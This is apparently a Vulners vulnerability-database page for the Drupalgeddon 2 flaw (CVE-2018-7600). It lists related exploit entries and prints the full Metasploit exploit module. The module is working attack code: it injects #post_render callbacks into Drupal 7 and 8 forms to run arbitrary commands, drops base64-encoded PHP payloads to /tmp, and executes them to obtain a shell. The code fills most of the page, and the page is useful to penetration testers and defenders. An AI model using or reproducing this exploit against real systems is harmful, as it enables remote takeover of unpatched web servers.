| Reporter | Title | Published | Views | Family All 174 |
|---|---|---|---|---|
| Security Bulletin: API Connect Developer Portal is affected by Drupal vulnerability (CVE-2018-7600) | 15 Jun 201807:09 | – | ibm | |
| Exploit for Improper Input Validation in Drupal | 31 Aug 202022:55 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 Mar 201808:52 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 8 Dec 202503:31 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 May 202610:03 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 14 Apr 201818:26 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 30 Mar 201814:23 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 12 Apr 201822:53 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 21 Sep 202522:24 | – | githubexploit | |
| Exploit for Improper Input Validation in Drupal | 13 Apr 201810:04 | – | githubexploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['AKA', 'SA-CORE-2018-002'],
['AKA', 'Drupalgeddon 2']
],
'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Safe
if drupal_version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end
if drupal_unpatched?
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
token = random_crap
res = execute_command(token, func: 'printf')
if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{random_crap}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def dropper_exec
php_file = "#{random_crap}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
res =
case @version.to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
return unless res && res.code == 200
# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
return @version if @version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end
def drupal_unpatched?
unpatched = true
# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
if res.body.include?('SA-CORE-2018-002')
unpatched = false
end
unpatched
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
return res unless res && res.code == 200
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
return res unless form_build_id
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
}
vars_post = {
'form_build_id' => form_build_id.value
}
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation